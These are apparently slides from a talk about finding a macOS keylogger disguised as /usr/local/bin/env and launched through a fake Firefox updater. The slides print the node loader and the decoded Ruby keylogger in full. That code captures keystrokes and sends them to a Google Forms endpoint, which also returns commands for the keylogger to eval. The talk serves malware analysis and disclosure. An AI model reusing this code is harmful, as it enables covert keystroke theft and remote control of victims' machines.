Vim as an anti-keylogger

or

How debugging a Vim plugin made me discover a keylogger

Once Upon A Shell...



$ env GIT_EDITOR=false git commit 2> errorfile
					

error: There was a problem with the editor 'false'.
Please supply the message using either -m or -F option.
					

$ env
EDITOR=vim
HOME=/Users/victor
ITERM_PROFILE=Default
LANG=en_US.UTF-8
LC_ALL=en_US.UTF-8
LC_CTYPE=en_GB.UTF-8
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/Users/victor/.dot/.yada/bin
SHELL=/bin/zsh
TERM=screen-256color
TERM_PROGRAM=iTerm.app
USER=victor
...
					

$ which env
/usr/local/bin/env
					

$ /usr/local/bin/env
# Nothing ...
					

$ /usr/bin/env
# OK !
					

Here comes the node...


##!/usr/local/bin/node
try{let c=require("child_process").spawn("ruby", ["-W0"],{detached:true,stdio:["pipe","ignore","ignore"]});c.unref();c.stdin.end("YHBncmVwIC1meCAicnVieSAtV[...]IGVuZA==", "base64");}catch(e){}
					

##!/usr/local/bin/node
try{
  let c = require("child_process")
    .spawn(
      "ruby", ["-W0"],
      {
        detached: true,
        stdio: ["pipe","ignore","ignore"]
      }
  );
  c.unref();
  c.stdin.end("YHBncmVwIC...IGVuZA==", "base64");
} catch(e) { }
					

`pgrep -fx "ruby -W0"`.empty ? || exit

require 'net/http'
require 'Base64'
require 'dl/import'

module Carbon
  extend DL::Importer
  dlload '/System/Library/Frameworks/Carbon.framework/Carbon'
  extern 'unsigned long CopyProcessName(const ProcessSerialNumber*,void*)'
  extern 'void GetFrontProcess(ProcessSerialNumber*)'
  extern 'void GetKeys(void*)'
  extern 'unsigned char CFStringGetCString(void*,void*,int,int)'
end

p = DL::CPtr.malloc(16)
n = DL::CPtr.malloc(16)
ns = DL::CPtr.malloc(80)
km = DL::CPtr.malloc(16)

pd = Hash.new(false)

pa = ''
pt = 0
ps = 0
s = ''

while true do
  Kernel.sleep(0.05)

  Carbon.GetKeys(km)
  Carbon.GetFrontProcess(p.ref)
  Carbon.CopyProcessName(p.ref, n.ref)

  a = Carbon.CFStringGetCString(n, ns, 80, 0x08000100) > 0 ? ns.to_s : '_'
  t = Time.now.to_i

  (0...128).each do |k |

    if (km.to_str[k >> 3].ord >> (k & 7)) & 1 > 0

      unless pd[k]
        pd[k] = true
        if a != pa
          s << "\n\n" + [t].pack("N") + a + "\n"
        else
          if t - pt > 6
            s << "\n\n" + [t].pack("N") + "\n"
          end
        end

        s << k.chr
        pt = t
        pa = a
      end

    else
      pd[k] = false
    end

  end

    if s.length > 2000 || (s.length > 20 && t - ps > 1200)
      begin
        Net::HTTP.start('docs.google.com', : use_ssl => true) { | connection |
          res = connection.post('/forms/d/e/***/formResponse', "entry.***=#{Base64.urlsafe_encode64(s)}")
          s = ''
          ps = t
          res.body.scan(/@@@(.*)@@@/) { | ms |
            ms.each do |m |
              c = Base64.urlsafe_decode64(m)
              Net::HTTP.start('docs.google.com', : use_ssl => true) { | connection2 |
                connection2.post('/forms/d/e/***/formResponse', "entry.***=#{Base64.urlsafe_encode64(eval(c))}")
              }
            end
          }
        }
      rescue SyntaxError
      rescue
    end
  end
end
					

while true do
  GetKeys(keys)
  Process(keys)
  Send(keys)
end
					

Which is the 80% the same code
as this metasploit module

Time to freak out!

Some details

Carbon

Net::HTTP.start('docs.google.com', : use_ssl => true) { | connection |
res = connection.post('/forms/d/e/***/formResponse', "entry.***=#{Base64.urlsafe_encode64(s)}")
					
Anything else ?

$ sudo rg -F '/usr/local/bin/env'
Applications/FirefoxDeveloperEdition.app/Contents/MacOS/updater.app/Contents/MacOS/org.mozilla.updater
					

/usr/local/bin/env
/Applications/FirefoxDeveloperEdition.app/Contents/MacOS/updater.app/Contents/MacOS/.org.mozilla.updater "[email protected]"
					

What now?

I asked the internet about it
First, use something like HandsOff or Little Snitch to monitor the applications on your system that opens outgoing connections. (pilibitti)
[...] if you want to do more forensics on your system, use the free tools provided by https://objective-see.com/ (pilibitti)
"Take off and nuke the site from orbit. It's the only way to be sure". (Chaoslab, reference to the 1986's Aliens movie)

Lessons Learned

Do understand your tools

Do monitor what is going on

Do protect yourself

Do not click on stuff

Do not go on the internet

Do not use your computer